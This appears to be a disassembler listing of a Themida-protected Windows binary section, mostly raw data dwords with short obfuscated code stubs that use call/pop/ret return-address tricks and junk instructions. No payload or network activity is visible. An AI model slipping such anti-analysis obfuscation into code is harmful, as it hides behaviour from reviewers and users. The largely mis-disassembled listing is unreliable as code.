		dd 0AE3337Dh, 14E950h, 80190000h, 2F3081B4h, 6B8341E0h
		dd 2FEDAA74h, 0CAC64CC7h, 3489BE3Ah, 0F1BD2B24h, 8B0AE315h
		dd 0E3302D9Dh, 22B5FF0Ah, 6A0AE6D6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0B4B0C352h
		dd 8BEE8BF1h, 4E8DEh, 3FF0000h,	5250001Fh, 36BB5250h, 0F73F5D8h
		dd 0F585A31h, 0DDBB6631h, 50585A57h, 0E34BBB66h, 424448Bh
		dd 7E95250h, 20000000h,	159E20A0h, 310FB8E8h, 0AE86BB66h
		dd 8B585Ah, 4D1FBF66h, 4244489h, 8C0Fh,	6A580000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 9E79C351h, 8D89EF4Ch, 0AE30A75h, 0D62A858Dh,	6A0AE6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 89C521C3h, 0E32D1585h, 0F60900Ah, 483h, 90B86600h, 86B05751h
		dd 6650615Ah, 0FF90DA8Bh, 0E31A4595h, 0E6BB660Ah, 95096118h
		dd 0AE308E1h, 6985C7h, 30AE3h, 0BF660000h, 0BD8393B3h
		dd 0AE6D62Ah, 79840F00h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8743C357h
		dd 12E82A3Bh, 28000000h, 6A6D1EC6h, 69CB23B4h, 3714A43Bh
		dd 51E9DF73h, 0CE960h, 4C750000h, 4663320Ch, 0E42EC420h
		dd 0E95F0830h, 47h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 92C35242h, 311641DDh,	0F8D24A3h, 388h
		dd 0FB8B6600h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 89C08B00h, 0E31E918Dh, 7E90Ah, 835B0000h
		dd 0FDDD1685h, 50006A7Fh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 52BE93EDh, 0F9A5DAA1h
		dd 0BD83D88Bh, 0AE30069h, 0AC850F03h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 6203C355h, 0D168ED2Dh, 1DC18509h, 80600AE3h,	8D895DE9h
		dd 0AE30589h, 2ABD8361h, 0AE6D6h, 46D840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0F75D43C3h, 0CC362178h, 7E8D1h, 56B0000h, 81AFE01Dh
		dd 559D8B99h, 5F0AE311h, 0D62AB5FFh, 0DA8B0AE6h, 331595FFh
		dd 9E80AE3h, 0F3000000h, 4D6F84B8h, 0C4CC5B25h,	18F99589h
		dd 8B5B0AE3h, 0E6D61EB5h, 0FE80Ah, 0DE260000h, 0D27E58BAh
		dd 0D374322Fh, 98FA768Fh, 0D9BD89D9h, 5B0AE32Fh, 106C7h
		dd 0C7810001h, 68A964ECh, 5011B796h, 880F5250h,	0
		dd 50B3310Fh, 6A96585Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0F221C352h,	4D654C7Ch
		dd 0FF574AB3h, 0E6D62AB5h, 56006A0Ah, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FC3CB259h
		dd 0FF08EF80h, 0E320BD95h, 52006A0Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 1EB58BA9h
		dd 0F0AE6D6h, 680h, 0B1BD0900h,	8B0AE317h, 0E3105985h
		dd 0B19D890Ah, 890AE312h, 0C486h, 68A0F00h, 8B000000h
		dd 0E31CA59Dh, 79958B0Ah, 6A0AE314h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0D589C355h
		dd 419CBF3h, 83363FCCh,	6A04C2h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0E7AB9DC3h, 8D2B898Ch
		dd 66FF77C1h, 89E85CBBh, 6A2050h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 8F5D0BC3h, 95945850h
		dd 0E967DBB7h, 14h, 4C77E87Ah, 0D0681616h, 615E6D8Ah, 44C325C5h
		dd 0A7FEC971h, 0E8B3858Dh, 6A0AE6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 11E9E5C3h
		dd 79000000h, 3D5ED17Dh, 0EB5558F7h, 4532C604h,	0B535C986h
		dd 0E9D88B66h, 0Ch, 0B7C58B86h,	0DF66048Bh, 18204A22h
		dd 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0C3F032C3h, 91BD8BA1h, 6A0AE321h
		dd 0BF0F6000h, 0F78166FBh, 0FF61A915h, 0E6D62AB5h, 51006A0Ah
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 769015F6h, 0E7816615h, 0ABBBDAFBh, 0FF5C4BD7h, 0E31E7195h
		dd 11E80Ah, 0CE290000h,	0C98A6472h, 0AEEE08E1h,	0C1802C9Dh
		dd 8B90AC6Ch, 0E9965BDEh, 0Eh, 0ADB63307h, 0B554412Bh
		dd 12631EA4h, 8B50234Ch, 0BD8B96FEh, 0AE32EE9h,	0D62AB5FFh
		dd 6A0AE6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0ABFC9EC3h, 0B830F84h, 60000000h,	0F9AF580h
		dd 8Dh,	0FE86100h, 6A000000h, 323F68DBh, 55524A64h, 0ADF0FC3Dh
		dd 7E903B5h, 0FC000000h, 1EE3BC2Fh, 0FF5FA6E0h,	0E3236995h
		dd 2D9D8B0Ah, 830AE317h, 0E317ADBDh, 840F000Ah,	51h, 1E5D8D89h
		dd 0E9960AE3h, 5, 7B8AAEC5h, 13E850D7h,	6C000000h, 38961863h
		dd 5BD92F9Fh, 3340FF40h, 0D84E5C19h, 965FC165h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A8C35747h, 0F112060Ah
		dd 0CCC0F0B9h, 2AB5FFBBh, 660AE6D6h, 0FFC6CEBFh, 0E3029595h
		dd 56006A0Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 7441CB3Bh, 0FF6E5D38h, 0E6D62AB5h, 3800F0Ah
		dd 0F000000h, 95FFFAB7h, 0AE311DDh, 0BD89FE8Ah,	0AE31EB9h
		dd 197DBD83h, 0F020AE3h, 6384h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 2D32FE5Ah
		dd 1A65858Bh, 6A0AE3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 31D8BAC3h, 8E6DFA2Dh, 0E9F82696h
		dd 6, 0BD5E511Fh, 0C63A89h, 61858900h, 0BF0AE312h, 3467AE28h
		dd 211D85C7h, 0AE3h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 6E5E50C3h, 0FC558B76h
		dd 0E9216F28h, 0FFFFF239h, 9E9h, 0D88F5500h, 2F78D56Ch
		dd 0C18BC218h, 1E998529h, 0FE90AE3h, 0E3000000h, 2FDCF7h
		dd 2 dup(0)
		dd 0A9E90000h, 5, 0F7CA8079h, 7F5208C7h, 0FBDE8C4Bh, 645911D6h
		dd 0C4239750h, 211AAA16h, 0A8611469h, 31EE9FF2h, 0BB740479h
		dd 0E5B644CFh, 3BF796BCh, 49A6E491h, 6F42C803h,	2F5C9E59h
		dd 0FB45F0AAh, 6992D963h, 3C46DF6Ah, 0C8B09C4Fh, 0E0CC7F5h
		dd 2426E1ABh, 5CFE3941h, 1D0ED071h, 0BAE3776Eh,	0CBA7996Ah
		dd 1E73A66Ah, 4269D1FBh, 46DEDA19h, 0E4D53FECh,	2FD8DD4h
		dd 8A403318h, 61C906B7h, 0DA95BEEDh, 836846DEh,	0EF9CF149h
		dd 2B52832h, 5A6C41C9h,	70187D9Dh, 0BD5D9E21h, 257F9B4Eh
		dd 0A5D2A608h, 9B20C26Ch, 0D4F99C5Eh, 0C413913h, 7EA7F47Ch
		dd 5746DEDAh, 0A5AD7024h, 0F8ABB1F4h, 0FAA12505h, 46DF1FD1h
		dd 0BC826983h, 0AAC0F78Dh, 386397C1h, 46DECE0Ch, 0E06AA3D2h
		dd 703FC8Dh, 0AFC995AAh, 293FA31Ch, 47760D9Ch, 7A94h, 0B3A7D400h
		dd 5B2D6EEFh, 0A89488C4h, 6B16B823h, 0A5EFAA3Ch, 6FCB04B4h
		dd 0A397C0EBh, 0BD6E46DFh, 0C5F4A753h, 0E346DFA2h, 57D0F87Ah
		dd 5D4776D8h, 1, 0C6014949h, 9E596144h,	2574197Ch, 4CBF5B94h
		dd 6B1C7199h, 86C9ACAEh, 0C57AC545h, 20321F19h,	94C03B4Dh
		dd 6515F579h, 0D8ED80AAh, 0F086FB1Fh, 75281337h, 5E6AAF1Bh
		dd 4A3135E5h, 0BF7FB522h, 66297216h, 493B6BA5h,	0E266C407h
		dd 0DFAB90B9h, 5AB66546h, 74B3DBBEh, 6AF469D6h,	12201279h
		dd 384879D1h, 10CBFDDCh, 1A55675Ah, 0DC420C4Fh,	0F2361572h
		dd 0F5FB3A69h, 0D6CB4F02h, 6135E3A4h, 0BEE2E368h, 0E31C6FCBh
		dd 13992673h, 0A3944490h, 7F1830B2h, 954776AFh,	7Eh, 0C4074901h
		dd 0DFEF8246h, 0C711FA60h, 0E367A0D2h, 5E54986h, 78873873h
		dd 9AB487Ah, 0CC40E456h, 0DFA3769Fh, 705C4F46h,	96B47719h
		dd 0C1498E33h, 4B1DC17Eh, 4776DEA2h, 80A6h, 596F0200h
		dd 71197C9Eh, 0F4A794B6h, 98FC2576h, 2AD146DFh,	749BEEEh
		dd 0D09B2552h, 46DFABA7h, 30DA8D7Eh, 133C6FCBh,	0EA46DFABh
		dd 0E9CC4E01h, 0B1E367A0h, 84C8DA84h, 0F582E743h, 0E32D1E3Ch
		dd 1491767h, 2B5744C6h,	4546DFABh, 0BBCCA125h, 1C6FDC7Eh
		dd 46DFAAF3h, 521921CAh, 46DFAB29h, 8C50FFCh, 0D0E582A6h
		dd 12EF4776h, 4B000000h, 22D84F7h, 0AD25E0C0h, 0DF1C315Ah
		dd 3D170446h, 0C20549E9h, 0DCE18458h, 0AB163F6Ch, 3CEF46DFh
		dd 1E7AC149h, 7A21913Bh, 46DFAB51h, 86847724h, 0BBAC360Fh
		dd 9FDF52D0h, 2A9767h, 0DEFE325Bh, 34600B46h, 8476B1C5h
		dd 9E5CAAAEh, 957E6EDh,	6AA6580Bh, 24F9BDEEh, 71943CFCh
		dd 0BB808A4Dh, 6DED2E5Eh, 6A0F2B9Eh, 89427659h,	7B5EFAD6h
		dd 249651h, 78E25D6Dh, 2850B993h, 0A4F74BEFh, 3BFC427Bh
		dd 57C16075h, 0B6C4E249h, 3C6F8BC5h, 3BFBE90Dh,	7E74BE2h
		dd 8DC0BA75h, 0A30604FFh, 0C33CDE19h, 0FC8F8022h, 1DD2B69Fh
		dd 91F8D403h, 0C17A30EBh, 4D952224h, 12C2Ch, 0A2A65800h
		dd 15D586A4h, 783CFCA8h, 90BA7505h, 0B3DC8FABh,	8A3BFCA5h
		dd 690C2EE1h, 82B6E225h, 0E8A29D2Fh, 2E2CE795h,	44C6014Bh
		dd 7F9B5C61h, 0A8B26B1Ah, 35666A3h, 42C8BB7Ch, 0E29658F5h
		dd 0AFA00223h, 0A1456CDCh, 76A28FEFh, 0CCBE7903h, 9555B64Fh
		dd 38BA4Dh, 0A6EA0000h,	4B8435A7h, 0A1897CCFh, 1642BFCCh
		dd 6ED099C2h, 0F6A5CFE1h, 0AC1E4754h, 2AD3C6DFh, 70D68988h
		dd 6FD8A1CAh, 0FEAD4FE1h, 0B477197Ch, 9F6BA596h, 9C79h
		dd 0A2A62D00h, 85D586A4h, 0E83CFC92h, 772AE595h, 11CAFED3h
		dd 0D340A229h, 52F83747h, 0CB84B6E9h, 52E7DFDh,	0D83BFCAAh
		dd 2C61D933h, 0F487A39Ch, 75069DD3h, 48E02CAAh,	0FC89A163h
		dd 972E63Bh, 3180E861h,	0E5107C68h, 28E3A979h, 0EF8F072h
		dd 0D33C5F2Ch, 578B2EEFh, 0E632E522h, 0EDED9E12h, 42CB0491h
		dd 7971B29Eh, 2C32142Dh, 0D2E6DB7Fh, 0E89CF119h, 0DFBBCCAFh
		dd 0EC5F7CECh, 98C1EA6Eh, 6D46D457h, 0F12A5DBEh, 76F86169h
		dd 925CF502h, 0CD6DDB9Fh, 0EC43A69Eh, 0D892793Ch, 0A4A2A6D0h
		dd 30590286h, 546DFABh,	48833516h, 0DB1F79C2h, 0F7979890h
		dd 0FE1C0F3Ch, 0CFB6F19Bh, 0F6E0221h, 47BA7023h, 0B70FA35h
		dd 0D549CDA6h, 0A8408CE6h, 0CC70A7D4h, 36D40FBDh, 0E06592C5h
		dd 999E548Ch, 7B2E9D73h, 0F9372408h, 6AA670EBh,	0C420A839h
		dd 13DF741Eh, 5C0EC9F3h, 72985379h, 8DAD6A1Fh, 0E466A3E8h
		dd 4A833217h, 0F9117BC0h, 3FCF93A8h, 0A598528Dh, 639A5C17h
		dd 5AA6170Fh, 0CCD63E7h, 0D9000000h, 0BC4734C8h, 5362EFF1h
		dd 49E3C30Dh, 6C41C902h, 267E35Ch, 3B9EBC75h, 0D2B75394h
		dd 8CE169A2h, 0A61B3FF8h, 5336D415h, 0F62E82Fh,	0B99A807Fh
		dd 81E18951h, 4C1h, 4BE5600h, 29000000h, 0C875EF1h, 0E8685C24h
		dd 8900006Fh, 89512434h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 2414895Ch, 2292B850h, 0D0F75974h, 0A3C9242Dh, 8BC6899Bh
		dd 0C4812404h, 4, 24148B54h, 5104C483h,	8B9h, 0CEC18100h
		dd 124324Bh, 0CEE981D1h, 8924324Bh, 148B5931h, 0E0895024h
		dd 405h, 40500h, 4870000h, 348B5C24h, 0E6895624h, 4C681h
		dd 0C6830000h, 24348704h, 65CFE95Ch, 2421FFFBh,	0E6B70A9Bh
		dd 0C64B31CEh, 0E81952B8h, 0FFC5030Ah, 0A7AFBAE0h, 3FD1F65Ah
		dd 0EB560D4Ah, 486D2D02h, 141EBE30h, 19F7441Bh,	0F987021Fh
		dd 2E01FE72h, 0DA592A6Bh, 1777007Fh, 55350C19h,	655B8664h
		dd 0B9696256h, 9BCDD21Ah, 62C4AB37h, 6058027Ch,	9ED42B39h
		dd 53568C1Eh, 0E1500D40h, 941B5B40h, 0FE7E1474h, 0FD858D78h
		dd 6A0AE32Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 22F9C355h, 8B587794h, 0E31E6D9Dh
		dd 489500Ah, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 3116F994h, 0E32079BDh, 6A006A0Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 90F0C356h, 0EAE9969Bh, 6CF055E7h,	0FE9h
		dd 0D13D2800h, 9728549Eh, 0A9C94280h, 51C64572h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 10174FC3h, 65BE5CE9h, 5DBD8997h, 890AE32Fh, 0E32B9595h
		dd 9A858D0Ah, 6A0AE81Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 5CE7C352h, 22E1A35Ch
		dd 0C083076Ch, 0F8BF0F05h, 21DDBD01h, 0B3900AE3h, 8E950D2h
		dd 0FC000000h, 0BC59B84Eh, 906AAEE5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 21C35343h, 7AB3FD49h, 33BB66C4h
		dd 19D8BCBh, 6A0AE311h,	0D88B6600h, 9D8B006Ah, 0AE315CDh
		dd 14E995FFh, 6A0AE3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0CF9B07C3h, 0D90F7367h, 0F5B02FBh
		dd 8D8DDAB7h, 0AE6D5CAh, 28ED9D89h, 0D1FF0AE3h,	0A91DBB66h
		dd 2269BD83h, 0F010AE3h, 0BF85h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0A4E3E228h
		dd 2ADD73Ch, 6880Fh, 95890000h,	0AE33059h, 6A026Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 5CB57CC3h, 0E3E7E8CAh, 6062C3DBh, 10E9h, 865DE000h
		dd 0ED856891h, 4CDA7E90h
		dd 8A9E8F6Bh, 0D4BB66CBh, 89506108h, 870F2404h,	1Ch, 10E8h
		dd 0C960400h, 0FE9AB1FCh, 26F83472h, 39B8B6Ch, 59BD8B94h
		dd 5B0AE323h, 1E7195FFh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 738FF6C3h, 395D2597h
		dd 0E7FE9h, 0E800h, 815D0000h, 0E81CA4EDh, 8B66600Ah, 7E9DEh
		dd 1B30000h, 0DC54E26Bh, 6A6165h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 6DE461C3h, 0D60F4C8h
		dd 895A0EE7h, 0E3254985h, 14E80Ah, 17730000h, 0D7BD814h
		dd 4424AC60h, 0EEAA600h, 0BD9910A7h, 0A8BB1CAAh, 5F00DDAEh
		dd 0C13E858Dh, 6A0AE6h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 313C3EC3h, 0D88B6690h, 81669050h
		dd 64F5ADC7h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 271EFC3h, 0D749429h
		dd 25896433h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5D4263
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4263	proc near		; CODE XREF: Themida_:005D425Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5D4263	endp

; ---------------------------------------------------------------------------
		mov	bh, 0DFh
		dec	ebp
		xchg	eax, ebp
		movzx	ebx, dx
		inc	dword ptr [ebp+0AE31C15h]
		push	0
		push	esi
		call	sub_5D428B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D428B	proc near		; CODE XREF: Themida_:005D4283p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5D428B	endp

; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------
		inc	edx
		mul	ch
		add	[ecx+6AFF6Ah], dh
		push	ebp
		call	sub_5D42AE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D42AE	proc near		; CODE XREF: Themida_:005D42A6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D42AE	endp

; ---------------------------------------------------------------------------
		push	ss
		xchg	eax, esp
		fisttp	dword ptr [ecx-1CF74243h]
		or	ah, [esi-75h]
		cli
		push	dword ptr [ebp+0AE32DF5h]
		pusha
		mov	bx, 4B25h
		clc
		popa
		call	dword ptr [ebp+0AE3007Dh]
		jmp	loc_5D4402
; ---------------------------------------------------------------------------
		dw 8160h
		dd 0A31810C7h, 61D58A15h, 70E600B0h, 0DE9h, 8A871C00h
		dd 4A92E00Ah, 0C350A0B0h, 71E44DC1h, 1CBD9D8Bh,	613C0AE3h
		dd 0F0830Fh, 0B60F0000h, 0DE9C8h, 1E350000h, 0B0A9C742h
		dd 0D327FE49h, 0BA01DC50h, 6, 0FD5BD8Bh, 0C18B0AE3h, 0FE960h
		dd 0D1750000h, 4CB49D86h, 9AC76D3Dh, 671E4034h,	0D98D8958h
		dd 610AE31Fh, 8A04E8C1h, 0E2F766DCh, 21659529h,	0C82B0AE3h
		dd 9850Fh, 8B600000h, 0D28166FAh, 8B61F997h, 35BD33D1h
		dd 0E90AE313h, 86h, 5E9h, 4C995100h, 858BAB70h,	5F4C4C44h
		dd 4145BB66h, 0E907C083h, 0Ch, 0CDB2B0CCh, 0E2E3207Bh
		dd 0B897909Ch, 8B00C083h, 0E31F69BDh, 0FD03B0Ah, 1483h
		dd 3850F00h, 66000000h,	3FE9FA8Bh, 89000000h, 0E316FDB5h
		dd 0FF8D8B0Ah, 66FFFFFFh, 2FE1D781h, 0F01E183h,	2584h
		dd 0BDBD8900h, 0F0AE301h, 0A583FBBFh, 0FFFFFFFFh, 0B5BF66FEh
		dd 4495891Fh, 895F4C4Ch, 0E30FDDB5h, 0E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D4402:				; CODE XREF: Themida_:005D42DDj
		lea	esi, [ebp+0AE79767h]
		push	0
		mov	[ebp+0AE3204Dh], edi
		call	dword ptr [ebp+0AE31CD1h]
		push	0
		push	edx
		call	sub_5D4421
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4421	proc near		; CODE XREF: Themida_:005D4419p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5D4421	endp

; ---------------------------------------------------------------------------
		db 0CDh, 81h, 0Fh
		dd 7F9EAA27h, 1BF9BD8Bh, 0B8B90AE3h, 6A00000Fh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 81CAC352h, 2A1D376Eh, 50657ADh, 0EE8h, 20E74F00h, 0AC1AFCDFh
		dd 3F7FDC06h, 80B08983h, 835FD1D3h, 8501FCE1h, 0AE314D5h
		dd 52006AFCh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0B82321h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0AFC4C351h
		dd 251E8E65h, 0BA7B2Eh,	8B000000h, 0E3188D9Dh, 0C233AD0Ah
		dd 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0C4C75C7h
		dd 81466332h, 4A93ACBh,	880D5Ch, 0E0BB0000h, 8B1A7BB0h
		dd 0E3147995h, 52006A0Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8B03A10Dh, 0E303259Dh
		dd 0C98D8B0Ah, 6A0AE306h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0C0BC350h, 6DBB66A3h
		dd 0C28B506Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh
		dd 218589h, 61F50AE3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 4CC35545h, 53A7D766h,	6EBB0C03h, 0FD9D8BC9h
		dd 0E90AE325h, 0Dh, 2713922Bh, 58B2FD6Eh, 0E7D22686h, 61BD830Dh
		dd 0AE31Fh, 0A5840Fh, 0EE90000h, 12000000h, 0DD428C2Ah
		dd 0CE9C8071h, 0B74BD0CFh, 0B841h, 800F0000h, 17h, 12E9h
		dd 8E2ECE00h, 38E47611h, 0BE90ADADh, 0A55684B1h, 8D316A98h
		dd 0E34E6E8Dh, 56006A0Ah, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 2128AE13h, 8D0F3F06h
		dd 7, 18C0Fh, 0FFF80000h, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BD8B383Dh
		dd 0AE31B4Dh, 12E9h, 0CFFFD500h, 2453BA7Bh, 9A1520FDh
		dd 79899Ah, 83993585h, 0E30069BDh, 840F000Ah, 451h, 838FC780h
		dd 0E30069BDh, 840F010Ah, 45Ch,	1D0DBD29h, 0BD830AE3h
		dd 0AE30069h, 13860F03h, 6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 6007C352h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 5DC35343h
		dd 24248CB4h, 0BD8B06BCh, 0AE31291h, 6AD98C66h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0F3FEC350h, 0B9A1232Ah, 5C0FFC0h, 1709BD33h,	0BD310AE3h
		dd 0AE32C7Dh, 8B04E180h, 0E300219Dh, 0FC90A0Ah,	10784h
		dd 0BB665300h, 8B5F75EBh, 0E31FD185h, 50006A0Ah, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0CE9BC52h, 9E000000h, 0EBE63A62h, 17CE747Fh,	0E8B5BC89h
		dd 6, 7540B26h,	335B77C4h, 0E31E4585h, 8585090Ah, 0F0AE330h
		dd 8B50D8BFh, 240489FAh, 6B19D8Bh, 0B70F0AE3h, 23006AFBh
		dd 0E31EB9BDh, 3164680Ah, 0DF8B6A84h, 9B243481h, 6A6A9B32h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0D5FAC351h, 0BF0FA726h, 0F8B70FD8h, 1A4595FFh
		dd 9D290AE3h, 0AE31835h, 0D62A8589h, 6A0AE6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 3CE51AC3h
		dd 0CF711286h, 9112B5Dh, 0E315AD85h, 1FDE90Ah, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 7834F2C3h, 0BBF750F4h, 41C47090h, 0D622858Bh, 0C7800AE6h
		dd 1800C774h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0A75DC352h,	7F470679h
		dd 9E744FB0h, 6E8h, 0A4349E00h,	8BFA9E3Fh, 0E31ABD9Dh
		dd 0B58B5F0Ah, 0AE6D626h, 10E9h, 0BBFD8100h, 0AC4D5419h
		dd 27BE0EE3h, 8CBA6A13h, 0D1858B72h, 0F0AE325h,	8960F9BFh
		dd 0E30575B5h, 519D890Ah, 610AE32Eh, 6A0689h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 762048C3h
		dd 59ABDF65h, 1FD1858Bh, 14E80AE3h, 5000000h, 0C618759h
		dd 410B5931h, 0D366D0B4h, 0E53CF2E1h, 0BBE33B2Eh, 2287A272h
		dd 446895Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	3C35242h, 39A1A39Ch, 8B0F9617h,	8, 2870Fh, 5F520000h
		dd 0BF666050h, 89B71478h, 6A9661h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0A0A2A4C3h, 0BB3FA352h
		dd 5A7D7262h, 0D622B5FFh, 95890AE6h, 0AE3132Dh,	68E0Fh
		dd 0BD890000h, 0AE33519h, 4E8h,	1F03FF00h, 60505000h, 5B61D78Bh
		dd 424448Bh, 4489008Bh,	0DBBF0424h, 5863CA15h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 74C35040h, 0AF535337h
		dd 5E8B87Ah, 0CA000000h, 7C48DE44h, 16C19D8Bh, 8D5F0AE3h
		dd 0E6D62A85h, 3BF7810Ah, 506563B4h, 810Fh, 4890000h, 7E824h
		dd 0DBC30000h, 0A39D2FE3h, 95FF5F70h, 0AE31A45h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1CC35545h, 61FC68D5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 9BC35141h
		dd 4782A1EAh, 36C1EA3Bh, 0CE8h,	0C6933500h, 18A5D607h
		dd 0E7820138h, 0FD8D893Dh, 5B0AE331h, 26B99589h, 85C70AE3h
		dd 0AE30069h, 3, 0BD83DE8Ah, 0AE6D62Ah,	4F840F00h, 8B000000h
		dd 0E31669BDh, 5FE90Ah,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 2928E6C3h, 60DD1992h
		dd 12E9h, 55173A00h, 20993D20h,	0C9390BD1h, 4A6FEBB6h
		dd 0E9F4414Bh, 5, 891C8A29h, 3050611Bh,	4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 87BF66C0h, 0D381668Fh
		dd 0BD83DFD8h, 0AE30069h, 9B850F03h, 6A000004h,	3E85000h
